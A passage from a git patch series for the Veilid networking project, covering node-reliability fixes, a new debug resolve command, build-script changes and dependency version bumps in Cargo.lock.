/root/rpmbuild/SPECS/veilid-server.spec CARGO_ARCH $CARGO_ARCH # build the rpm -rpmbuild --target "x86_64" -bb /root/rpmbuild/SPECS/veilid-server.spec \ No newline at end of file +rpmbuild --target "$ARCH" -bb /root/rpmbuild/SPECS/veilid-server.spec \ No newline at end of file From 3a4c211e85962c7effedf4a7568dd5f71e0579dc Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 11:26:07 -0400 Subject: [PATCH 30/86] resolve work --- veilid-core/src/routing_table/bucket_entry.rs | 13 +++--- veilid-core/src/rpc_processor/mod.rs | 26 ++++++++---- veilid-core/src/veilid_api/debug.rs | 41 +++++++++++++++++++ 3 files changed, 66 insertions(+), 14 deletions(-) diff --git a/veilid-core/src/routing_table/bucket_entry.rs b/veilid-core/src/routing_table/bucket_entry.rs index 6d2ae45b..0d6fd71b 100644 --- a/veilid-core/src/routing_table/bucket_entry.rs +++ b/veilid-core/src/routing_table/bucket_entry.rs @@ -649,9 +649,10 @@ impl BucketEntryInner { return false; } - // if we have seen the node consistently for longer that UNRELIABLE_PING_SPAN_SECS match self.peer_stats.rpc_stats.first_consecutive_seen_ts { + // If we have not seen seen a node consecutively, it can't be reliable None => false, + // If we have seen the node consistently for longer than UNRELIABLE_PING_SPAN_SECS then it is reliable Some(ts) => { cur_ts.saturating_sub(ts) >= TimestampDuration::new(UNRELIABLE_PING_SPAN_SECS as u64 * 1000000u64) } @@ -662,11 +663,13 @@ impl BucketEntryInner { if self.peer_stats.rpc_stats.failed_to_send >= NEVER_REACHED_PING_COUNT { return true; } - // if we have not heard from the node at all for the duration of the unreliable ping span - // a node is not dead if we haven't heard from it yet, - // but we give it NEVER_REACHED_PING_COUNT chances to ping before we say it's dead + match self.peer_stats.rpc_stats.last_seen_ts { - None => self.peer_stats.rpc_stats.recent_lost_answers < NEVER_REACHED_PING_COUNT, + // a node is not dead if we haven't heard from it yet, + // but we give it NEVER_REACHED_PING_COUNT chances to ping before we say it's dead + None => self.peer_stats.rpc_stats.recent_lost_answers >= NEVER_REACHED_PING_COUNT, + + // return dead if we have not heard from the node at all for the duration of the unreliable ping span Some(ts) => { cur_ts.saturating_sub(ts) >= TimestampDuration::new(UNRELIABLE_PING_SPAN_SECS as u64 * 1000000u64) } diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 38a38ed8..63510ab0 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -453,7 +453,7 @@ impl RPCProcessor { ////////////////////////////////////////////////////////////////////// - /// Search the DHT for a single node closest to a key and add it to the routing table and return the node reference + /// Search the DHT for a single node and add it to the routing table and return the node reference /// If no node was found in the timeout, this returns None async fn search_dht_single_key( &self, @@ -491,14 +491,20 @@ impl RPCProcessor { }; // Routine to call to check if we're done at each step - let check_done = |closest_nodes: &[NodeRef]| { - // If the node we want to locate is one of the closest nodes, return it immediately - if let Some(out) = closest_nodes - .iter() - .find(|x| x.node_ids().contains(&node_id)) - { - return Some(out.clone()); + let check_done = |_:&[NodeRef]| { + let Ok(Some(nr)) = routing_table + .lookup_node_ref(node_id) else { + return None; + }; + + // ensure we have some dial info for the entry already, + // and that the node is still alive + // if not, we should keep looking for better info + if !matches!(nr.state(get_aligned_timestamp()),BucketEntryState::Dead) && + nr.has_any_dial_info() { + return Some(nr); } + None }; @@ -534,8 +540,10 @@ impl RPCProcessor { .map_err(RPCError::internal)? { // ensure we have some dial info for the entry already, + // and that the node is still alive // if not, we should do the find_node anyway - if nr.has_any_dial_info() { + if !matches!(nr.state(get_aligned_timestamp()),BucketEntryState::Dead) && + nr.has_any_dial_info() { return Ok(Some(nr)); } } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 2ef953de..e0d05661 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -871,6 +871,47 @@ impl VeilidAPI { Ok(format!("{:#?}", cm)) } + async fn debug_resolve(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let routing_table = netman.routing_table(); + + let args: Vec = args.split_whitespace().map(|s| s.to_owned()).collect(); + + let dest = async_get_debug_argument_at( + &args, + 0, + "debug_resolve", + "destination", + get_destination(routing_table.clone()), + ) + .await?; + + match &dest { + Destination::Direct { + target, + safety_selection: _, + } => Ok(format!( + "Destination: {:#?}\nTarget Entry:\n{}\n", + &dest, + routing_table.debug_info_entry(target.clone()) + )), + Destination::Relay { + relay, + target, + safety_selection: _, + } => Ok(format!( + "Destination: {:#?}\nTarget Entry:\n{}\nRelay Entry:\n{}\n", + &dest, + routing_table.clone().debug_info_entry(target.clone()), + routing_table.debug_info_entry(relay.clone()) + )), + Destination::PrivateRoute { + private_route: _, + safety_selection: _, + } => Ok(format!("Destination: {:#?}", &dest)), + } + } + async fn debug_ping(&self, args: String) -> VeilidAPIResult { let netman = self.network_manager()?; let routing_table = netman.routing_table(); From ad47e400ed1bcf899e42f624c2c32567b3af6497 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 12:23:56 -0400 Subject: [PATCH 31/86] build fixes --- veilid-cli/Cargo.toml | 2 +- veilid-core/Cargo.toml | 4 ++-- veilid-core/build.rs | 35 ++++++++++++++++++++++++++--------- veilid-wasm/Cargo.toml | 2 +- 4 files changed, 30 insertions(+), 13 deletions(-) diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index 11b6e51b..a3b39d02 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -54,7 +54,7 @@ flexi_logger = { version = "^0", features = ["use_chrono_for_offset"] } thiserror = "^1" crossbeam-channel = "^0" hex = "^0" -veilid-tools = { version = "0.2.0", path = "../veilid-tools" } +veilid-tools = { version = "0.2.1", path = "../veilid-tools" } json = "^0" stop-token = { version = "^0", default-features = false } diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index d1ff28cd..18492796 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -59,7 +59,7 @@ network-result-extra = ["veilid-tools/network-result-extra"] [dependencies] # Tools -veilid-tools = { version = "0.2.0", path = "../veilid-tools", features = [ +veilid-tools = { version = "0.2.1", path = "../veilid-tools", features = [ "tracing", ], default-features = false } paste = "1.0.14" @@ -182,7 +182,7 @@ socket2 = { version = "0.5.3", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] -veilid-tools = { version = "0.2.0", path = "../veilid-tools", default-features = false, features = [ +veilid-tools = { version = "0.2.1", path = "../veilid-tools", default-features = false, features = [ "rt-wasm-bindgen", ] } diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 5b8f7f8a..ff3592c6 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -1,15 +1,27 @@ use std::path::PathBuf; use std::process::{Command, Stdio}; -fn get_workspace_dir() -> PathBuf { - PathBuf::from(env!("CARGO_MANIFEST_DIR")) - .join("..") - .canonicalize() - .expect("want workspace dir") +fn search_file, P: AsRef>(start: T, name: P) -> Option { + let start_path = PathBuf::from(start.as_ref()).canonicalize().ok(); + let mut path = start_path.as_ref().map(|x| x.as_path()); + while let Some(some_path) = path { + let file_path = some_path.join(name.as_ref()); + if file_path.exists() { + return Some(file_path.to_owned()); + } + path = some_path.parent(); + } + None } + fn get_desired_capnp_version_string() -> String { - std::fs::read_to_string(get_workspace_dir().join(".capnp_version")) - .expect("should find .capnp_version file") + let capnp_path = search_file(env!("CARGO_MANIFEST_DIR"), ".capnp_version") + .expect("should find .capnp_version file"); + std::fs::read_to_string(&capnp_path) + .expect(&format!( + "can't read .capnp_version file here: {:?}", + capnp_path + )) .trim() .to_owned() } @@ -32,8 +44,13 @@ fn get_capnp_version_string() -> String { } fn get_desired_protoc_version_string() -> String { - std::fs::read_to_string(get_workspace_dir().join(".protoc_version")) - .expect("should find .protoc_version file") + let protoc_path = search_file(env!("CARGO_MANIFEST_DIR"), ".protoc_version") + .expect("should find .protoc_version file"); + std::fs::read_to_string(&protoc_path) + .expect(&format!( + "can't read .protoc_version file here: {:?}", + protoc_path + )) .trim() .to_owned() } diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 059cfd70..2abb4c45 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -15,7 +15,7 @@ default = ["veilid-core/default-wasm"] crypto-test = ["veilid-core/crypto-test"] [dependencies] -veilid-core = { version = "0.2.0", path = "../veilid-core", default-features = false } +veilid-core = { version = "0.2.1", path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-wasm = "^0" From 177bccbe120e3bafdef13ecc1412475c8d99afea Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 13:07:12 -0400 Subject: [PATCH 32/86] windows build fix --- veilid-core/build.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/veilid-core/build.rs b/veilid-core/build.rs index ff3592c6..97d82650 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -27,18 +27,18 @@ fn get_desired_capnp_version_string() -> String { } fn get_capnp_version_string() -> String { - let output = Command::new("capnpc") + let output = Command::new("capnp") .arg("--version") .stdout(Stdio::piped()) .output() - .expect("capnpc was not in the PATH"); + .expect("capnp was not in the PATH"); let s = String::from_utf8(output.stdout) - .expect("'capnpc --version' output was not a valid string") + .expect("'capnp --version' output was not a valid string") .trim() .to_owned(); if !s.starts_with("Cap'n Proto version ") { - panic!("invalid capnpc version string: {}", s); + panic!("invalid capnp version string: {}", s); } s[20..].to_owned() } From d877d82104a2b5aec1a14f84bb54ec3c0fbbbc6f Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 13:21:42 -0400 Subject: [PATCH 33/86] add cargo edit --- dev-setup/setup_linux.sh | 2 +- dev-setup/setup_macos.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dev-setup/setup_linux.sh b/dev-setup/setup_linux.sh index d5b21ace..019169de 100755 --- a/dev-setup/setup_linux.sh +++ b/dev-setup/setup_linux.sh @@ -114,7 +114,7 @@ fi rustup target add aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android wasm32-unknown-unknown # install cargo packages -cargo install wasm-bindgen-cli wasm-pack +cargo install wasm-bindgen-cli wasm-pack cargo-edit # install pip packages pip3 install --upgrade bumpversion diff --git a/dev-setup/setup_macos.sh b/dev-setup/setup_macos.sh index d9f40013..a0ea6c9d 100755 --- a/dev-setup/setup_macos.sh +++ b/dev-setup/setup_macos.sh @@ -139,7 +139,7 @@ esac rustup target add aarch64-apple-darwin aarch64-apple-ios aarch64-apple-ios-sim x86_64-apple-darwin x86_64-apple-ios wasm32-unknown-unknown aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android # install cargo packages -cargo install wasm-bindgen-cli wasm-pack +cargo install wasm-bindgen-cli wasm-pack cargo-edit # install pip packages pip3 install --upgrade bumpversion From 7f3f7c91663c92ee9c015f295f6eb95e545280b0 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 13:52:32 -0400 Subject: [PATCH 34/86] clean up cargo.toml --- Cargo.lock | 254 ++++++++++++++++----------------- veilid-core/Cargo.toml | 10 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- 5 files changed, 131 insertions(+), 139 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 076c129f..4ad66551 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -73,9 +73,9 @@ dependencies = [ [[package]] name = "allo-isolate" -version = "0.1.18" +version = "0.1.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "71441b1911974f09ca413fc93fb2e3bfc60f4a284fdc7fd51e5a81b6afc61727" +checksum = "c258c1a017ecaccfb34c8fa46ecbb2f5402584e31082c12b5caf0be82ac5ac44" dependencies = [ "atomic", ] @@ -172,9 +172,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.2" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "15c4c2c83f81532e5845a733998b6971faca23490340a418e9b72a3ec9de12ea" +checksum = "b84bf0a05bbb2a83e5eb6fa36bb6e87baa08193c35ff52bbf6b38d8af2890e46" [[package]] name = "anstyle-parse" @@ -231,9 +231,9 @@ dependencies = [ [[package]] name = "argon2" -version = "0.5.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e554a8638bdc1e4eae9984845306cc95f8a9208ba8d49c3859fd958b46774d" +checksum = "17ba4cac0a46bc1d2912652a751c47f2a9f3a7fe89bcae2275d418f5270402f9" dependencies = [ "base64ct", "blake2", @@ -430,7 +430,7 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -461,7 +461,7 @@ checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -570,7 +570,7 @@ dependencies = [ "async-trait", "axum-core", "bitflags 1.3.2", - "bytes 1.4.0", + "bytes 1.5.0", "futures-util", "http", "http-body", @@ -596,7 +596,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" dependencies = [ "async-trait", - "bytes 1.4.0", + "bytes 1.5.0", "futures-util", "http", "http-body", @@ -635,9 +635,9 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" -version = "0.21.3" +version = "0.21.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "414dcefbc63d77c526a76b3afcf6fbb9b5e2791c19c3aa2297733208750c6e53" +checksum = "9ba43ea6f343b788c8764558649e08df62f86c6ef251fdaeb1ffd010a9ae50a2" [[package]] name = "base64ct" @@ -683,7 +683,7 @@ dependencies = [ "quote", "regex", "rustc-hash", - "shlex 1.1.0", + "shlex 1.2.0", "which", ] @@ -730,7 +730,7 @@ checksum = "e0b121a9fe0df916e362fb3271088d071159cdf11db0e4182d02152850756eff" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -799,15 +799,15 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.13.0" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e2c3daef883ecc1b5d58c15adae93470a91d425f3532ba1695849656af3fc1" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytemuck" -version = "1.13.1" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17febce684fd15d89027105661fec94afb475cb995fbc59d2865198446ba2eea" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" [[package]] name = "byteorder" @@ -823,9 +823,9 @@ checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" [[package]] name = "bytes" -version = "1.4.0" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" [[package]] name = "capnp" @@ -916,15 +916,14 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.28" +version = "0.4.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95ed24df0632f708f5f6d8082675bef2596f7084dee3dd55f632290bf35bfe0f" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" dependencies = [ "android-tzdata", "iana-time-zone", "js-sys", "num-traits", - "time 0.1.45", "wasm-bindgen", "windows-targets 0.48.5", ] @@ -977,9 +976,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.2" +version = "4.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a13b88d2c62ff462f88e4a121f17a82c1af05693a2f192b5c38d14de73c19f6" +checksum = "84ed82781cea27b43c9b106a979fe450a13a31aab0500595fb3fc06616de08e6" dependencies = [ "clap_builder", "clap_derive", @@ -1007,7 +1006,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1067,7 +1066,7 @@ version = "4.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "memchr", ] @@ -1320,7 +1319,7 @@ dependencies = [ "flexi_logger", "lazy_static", "log", - "time 0.3.28", + "time", "unicode-width", ] @@ -1365,9 +1364,9 @@ dependencies = [ "owning_ref", "serde_json", "serde_yaml", - "time 0.3.28", + "time", "tokio", - "toml 0.7.6", + "toml 0.7.8", "unicode-segmentation", "unicode-width", "xi-unicode", @@ -1384,9 +1383,9 @@ dependencies = [ [[package]] name = "curve25519-dalek" -version = "4.0.0" +version = "4.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f711ade317dd348950a9910f81c5947e3d8907ebd2b83f76203ff1807e6a2bc2" +checksum = "622178105f911d937a42cdb140730ba4a3ed2becd8ae6ce39c7d28b5d75d4588" dependencies = [ "cfg-if 1.0.0", "cpufeatures", @@ -1407,7 +1406,7 @@ checksum = "83fdaf97f4804dcebfa5862639bc9ce4121e82140bec2a987ac5140294865b5b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1463,7 +1462,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1485,7 +1484,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core 0.20.3", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1658,22 +1657,22 @@ dependencies = [ [[package]] name = "enum-map" -version = "2.6.1" +version = "2.6.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9705d8de4776df900a4a0b2384f8b0ab42f775e93b083b42f8ce71bdc32a47e3" +checksum = "c188012f8542dee7b3996e44dd89461d64aa471b0a7c71a1ae2f595d259e96e5" dependencies = [ "enum-map-derive", ] [[package]] name = "enum-map-derive" -version = "0.13.0" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccb14d927583dd5c2eac0f2cf264fc4762aefe1ae14c47a8a20fc1939d3a5fc0" +checksum = "04d0b288e3bb1d861c4403c1774a6f7a798781dfc519b3647df2a3dd4ae95f25" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1716,7 +1715,7 @@ dependencies = [ "darling 0.20.3", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1843,9 +1842,9 @@ dependencies = [ [[package]] name = "fiat-crypto" -version = "0.1.20" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e825f6987101665dea6ec934c09ec6d721de7bc1bf92248e1d5810c8cd636b77" +checksum = "d0870c84016d4b481be5c9f323c24f65e31e901ae618f0e80f4308fb00de1d2d" [[package]] name = "fixedbitset" @@ -1878,7 +1877,7 @@ dependencies = [ "regex", "rustversion", "thiserror", - "time 0.3.28", + "time", ] [[package]] @@ -1935,7 +1934,7 @@ version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2eeb4ed9e12f43b7fa0baae3f9cdda28352770132ef2e09a23760c29cae8bd47" dependencies = [ - "rustix 0.38.11", + "rustix 0.38.13", "windows-sys 0.48.0", ] @@ -2010,7 +2009,7 @@ checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -2207,7 +2206,7 @@ version = "0.3.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "fnv", "futures-core", "futures-sink", @@ -2335,6 +2334,15 @@ dependencies = [ "digest 0.9.0", ] +[[package]] +name = "home" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +dependencies = [ + "windows-sys 0.48.0", +] + [[package]] name = "hostname" version = "0.3.1" @@ -2352,7 +2360,7 @@ version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "fnv", "itoa", ] @@ -2363,7 +2371,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "http", "pin-project-lite", ] @@ -2392,7 +2400,7 @@ version = "0.14.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "futures-channel", "futures-core", "futures-util", @@ -2573,7 +2581,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b58db92f96b720de98181bbbe63c831e87005ab460c1bf306eb2622b4707997f" dependencies = [ - "socket2 0.5.3", + "socket2 0.5.4", "widestring", "windows-sys 0.48.0", "winreg", @@ -2754,9 +2762,9 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" -version = "0.2.147" +version = "0.2.148" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" [[package]] name = "libloading" @@ -2805,9 +2813,9 @@ checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" [[package]] name = "linux-raw-sys" -version = "0.4.5" +version = "0.4.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503" +checksum = "1a9bad9f94746442c783ca431b22403b519cd7fbeed0533fdd6328b2f2212128" [[package]] name = "lock_api" @@ -3079,7 +3087,7 @@ version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "842c6770fc4bb33dd902f41829c61ef872b8e38de1405aa0b938b27b8fba12c3" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "futures", "log", "netlink-packet-core", @@ -3095,7 +3103,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6471bf08e7ac0135876a9581bf3217ef0333c191c128d34878079f42ee150411" dependencies = [ "async-io", - "bytes 1.4.0", + "bytes 1.5.0", "futures", "libc", "log", @@ -3642,7 +3650,7 @@ dependencies = [ "pest_meta", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -3713,7 +3721,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -3827,9 +3835,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.66" +version = "1.0.67" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" +checksum = "3d433d9f1a3e8c1263d9456598b16fec66f4acc9a74dacffd35c7bb09b3a1328" dependencies = [ "unicode-ident", ] @@ -3840,7 +3848,7 @@ version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b82eaa1d779e9a4bc1c3217db8ffbeabaae1dca241bf70183242128d48681cd" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "prost-derive", ] @@ -3850,7 +3858,7 @@ version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "119533552c9a7ffacc21e099c24a0ac8bb19c2a2a3f363de84cd9b844feab270" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "heck", "itertools", "lazy_static", @@ -4199,14 +4207,14 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.11" +version = "0.38.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0c3dde1fc030af041adc40e79c0e7fbcf431dd24870053d187d7c66e4b87453" +checksum = "d7db8590df6dfcd144d22afd1b83b36c21a18d7cbc1dc4bb5295a8712e9eb662" dependencies = [ "bitflags 2.4.0", "errno", "libc", - "linux-raw-sys 0.4.5", + "linux-raw-sys 0.4.7", "windows-sys 0.48.0", ] @@ -4228,7 +4236,7 @@ version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" dependencies = [ - "base64 0.21.3", + "base64 0.21.4", ] [[package]] @@ -4409,7 +4417,7 @@ checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4431,14 +4439,14 @@ checksum = "e578a843d40b4189a4d66bba51d7684f57da5bd7c304c64e14bd63efbef49509" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] name = "serde_json" -version = "1.0.105" +version = "1.0.107" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "693151e1ac27563d6dbcec9dee9fbd5da8539b20fa14ad3752b2e6d363ace360" +checksum = "6b420ce6e3d8bd882e9b243c6eed35dbc9a6110c9769e74b584e0d68d1f20c65" dependencies = [ "itoa", "ryu", @@ -4453,7 +4461,7 @@ checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4525,7 +4533,7 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4599,9 +4607,9 @@ checksum = "7fdf1b9db47230893d76faad238fd6097fd6d6a9245cd7a4d90dbd639536bbd2" [[package]] name = "shlex" -version = "1.1.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43b2853a4d09f215c24cc5489c992ce46052d359b5109343cbafbf26bc62f8a3" +checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" [[package]] name = "signal-hook" @@ -4668,7 +4676,7 @@ checksum = "acee08041c5de3d5048c8b3f6f13fafb3026b24ba43c6a695a0c76179b844369" dependencies = [ "log", "termcolor", - "time 0.3.28", + "time", ] [[package]] @@ -4708,9 +4716,9 @@ dependencies = [ [[package]] name = "socket2" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "4031e820eb552adee9295814c0ced9e5cf38ddf1e8b7d566d6de8e2538ea989e" dependencies = [ "libc", "windows-sys 0.48.0", @@ -4802,9 +4810,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.31" +version = "2.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "718fa2415bcb8d8bd775917a1bf12a7931b6dfa890753378538118181e0cb398" +checksum = "59bf04c28bee9043ed9ea1e41afc0552288d3aba9c6efdd78903b802926f4879" dependencies = [ "proc-macro2", "quote", @@ -4840,7 +4848,7 @@ dependencies = [ "cfg-if 1.0.0", "fastrand 2.0.0", "redox_syscall 0.3.5", - "rustix 0.38.11", + "rustix 0.38.13", "windows-sys 0.48.0", ] @@ -4889,7 +4897,7 @@ checksum = "49922ecae66cc8a249b77e68d1d0623c1b2c514f0060c27cdc68bd62a1219d35" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4913,17 +4921,6 @@ dependencies = [ "weezl", ] -[[package]] -name = "time" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" -dependencies = [ - "libc", - "wasi 0.10.0+wasi-snapshot-preview1", - "winapi", -] - [[package]] name = "time" version = "0.3.28" @@ -4976,14 +4973,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" dependencies = [ "backtrace", - "bytes 1.4.0", + "bytes 1.5.0", "libc", 